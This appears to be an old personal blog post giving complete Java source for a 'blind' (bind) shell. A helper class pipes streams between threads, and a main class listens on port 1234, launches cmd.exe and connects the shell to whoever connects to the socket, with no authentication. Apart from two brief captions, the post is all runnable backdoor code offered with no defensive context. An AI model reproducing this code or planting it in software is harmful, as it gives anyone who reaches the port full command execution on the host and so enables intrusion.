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Blind Cmd or bash

Posted on 2010-09-26 16:36 shnulaa 閱讀(179) 評論(0) 編輯收藏所屬分類: java

package cn.liuyq;
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import java.io.BufferedReader;
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import java.io.BufferedWriter;
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import java.io.IOException;
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import java.io.InputStream;
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import java.io.InputStreamReader;
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import java.io.OutputStream;
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import java.io.OutputStreamWriter;
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public class CombineStream extends Thread {
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private InputStream is;
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private OutputStream os;
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/**
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*
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* @param is
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* @param os
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*/
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public CombineStream(InputStream is, OutputStream os) {
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this.is = is;
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this.os = os;
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}
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/**
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*
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* @throws Throwable
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*/
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public void run() {
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BufferedReader br = null;
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BufferedWriter bw = null;
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try {
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br = new BufferedReader(new InputStreamReader(is));
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bw = new BufferedWriter(new OutputStreamWriter(os));
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char[] buffer = new char[1024*5];
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int charAt;
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while ((charAt = br.read(buffer, 0, buffer.length)) > 0) {
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bw.write(buffer,0,charAt);
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bw.flush();
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}
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} catch (Throwable e) {
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} finally {
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if (br != null) {
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try {
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br.close();
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} catch (IOException e) {
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// TODO Auto-generated catch block
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e.printStackTrace();
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}
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}
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if (bw != null) {
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try {
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bw.close();
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} catch (IOException e) {
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// TODO Auto-generated catch block
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e.printStackTrace();
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}
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}
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}
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}
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/**
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*
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*/
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public void destroy() {
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if (is != null) {
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try {
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is.close();
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} catch (IOException e) {
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// TODO Auto-generated catch block
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e.printStackTrace();
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}
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}
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if (os != null) {
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try {
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os.close();
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} catch (IOException e) {
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// TODO Auto-generated catch block
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e.printStackTrace();
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}
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}
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}
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}
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above is a thread to combine the inputStrean and outputStream.

BlindSever.java

package cn.liuyq;
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import java.io.InputStream;
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import java.io.OutputStream;
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import java.net.InetSocketAddress;
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import java.net.ServerSocket;
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import java.net.Socket;
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public class BlindSever {
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public static void main(String[] args) throws Throwable{
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ServerSocket serverSocket = new ServerSocket();
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serverSocket.bind(new InetSocketAddress(1234));
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Socket socket = serverSocket.accept();
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InputStream is = socket.getInputStream();
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OutputStream os = socket.getOutputStream();
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Process process = Runtime.getRuntime().exec("cmd.exe");
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InputStream prois = process.getInputStream();
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OutputStream proos = process.getOutputStream();
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CombineStream cs1 = new CombineStream(is, proos);
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CombineStream cs2 = new CombineStream(prois, os);
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cs1.start();
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cs2.start();
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}
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}
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open a port and ready to receive a sorcket from client and then combine the cmd process input and output with the sockect input and output

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